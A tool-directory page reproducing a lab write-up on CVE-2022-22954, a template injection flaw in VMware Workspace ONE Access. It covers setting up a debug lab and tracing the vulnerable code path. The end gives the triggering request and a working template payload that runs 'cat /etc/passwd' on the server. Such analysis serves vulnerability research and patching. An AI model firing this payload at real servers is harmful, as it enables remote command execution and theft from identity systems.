Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22954 — CVE-2022-22954 分析器 | Kitploit
工具/GitHubGitHub/nguyenv1nk/cve-2022-22954
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 分析器

查看仓库
14年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Phân tích CVE-2022-22954

Tổng quan

Workspace ONE Access(以服务形式提供工作空间的模型)提供多因素认证、单点登录以及针对 SaaS、Web 和移动应用程序的条件访问。 CVE-2022-22954 是存在于以下产品中的服务端模板注入漏洞:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, 和 3.3.3
  • VMware vRealize Automation (vRA): v8.x 和 7.6
  • VMware Cloud Foundation (VCF): v4.x 和 3.x
  • vRealize Suite Lifecycle Manager: 8.x

Setup

  1. 下载 VMware Workspace ONE Access Appliance 版本 21.08.0.1 的 ova 文件

  2. 使用 VMware Workstation 打开文件,虚拟机需位于 NAT 网络

  3. 在网络属性中,需要配置主机名 (FQDN)

  4. 安装完成后,访问 https://{{hostname}}:8443/ 配置应用程序账户密码、ssh 账户密码和数据库密码 应用程序运行在 https://{{hostname}}/

  5. 通过 sshuser 账户登录虚拟机,切换到 root 账户 发现应用程序路径位于 /opt/vmware/horizon/workspace/ 应用程序源代码位于 /opt/vmware/horizon/workspacce/webapps 目录

  6. 检查文件 /opt/vmware/horizon/workspace/bin/setenv.sh,发现 JAVA_OPTS 变量可配置远程调试

  7. 将 -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n 添加到 JAVA_OPTS 并重启服务

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    

Path Analysis

下载修复文件 HW-154129-applyWorkaround.py

在步骤中,有一项是从应用程序中移除 templates/customError.ftl 文件

在 customError.ftl 文件中,存在 eval 函数。如果能够控制 errorObj 的值,则可能从该点利用 Freemarker SSTI 漏洞。

在类 com.vmware.enusercatalog.ui.web.UiErrorController 中,我们看到 handleGenericError 函数通过 errorMessage 变量为 errorObj 赋值

继续跟踪函数调用和参数 errorMessage

handleUnauthorizedError 函数

getErrorPage 函数

到达两个函数 sendError 和 sendUnhandledError,errorMessage 的值取自属性 javax.servlet.error.message

在类 com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver 中,属性 javax.servlet.error.message 在 resolverExeption 函数中被赋值

handleAnyGenericExeption 函数被标注 @ExeptionHandler

在类 com.vmware.endusercatalog.ui.UiApplication 中,在标记为 @CommponentScan 的包中包含 com.vmware.endusercatalog.auth

=> 该包中的异常可以被 handleAnyGenericExeption 函数捕获

在 com.vmware.endusercatalog.ui.config 中,添加了拦截器 AuthContextPopilationInterceptor,路径为 /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

跳转到类 com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor,在 preHandle 函数中,应用程序接收两个参数 deviceUdid 和 deviceType,并调用 authContextBuilder 函数

在类 com.vmware.endusercatalog.auth.interceptor.AuthContext 中,如果条件 this.isValidRequest 不满足,将出现异常 InvalidAuthContextException

要使 isValidRequest 满足,两个参数 this.deviceId 和 this.deviceType 需要同时为空或同时有值

=> 只传递其中一个参数的值将在此处出现错误

发送请求

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 

出现错误

root@kitploit:~
An unexpected error occurred while processing request with requestId: {0}.

回到类 com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController,发现上述错误是由于缺少必需参数 error 导致的

root@kitploit:~
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }

重新发送请求

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 

deviceUdid 的值出现在响应中

注入导致 Freemarker SSTI 错误的参数

发送带有以下值的请求

root@kitploit:~
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

EXPLOIT

REFERENCE LINKS

  • https://kb.vmware.com/s/article/88099
  • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
下载工具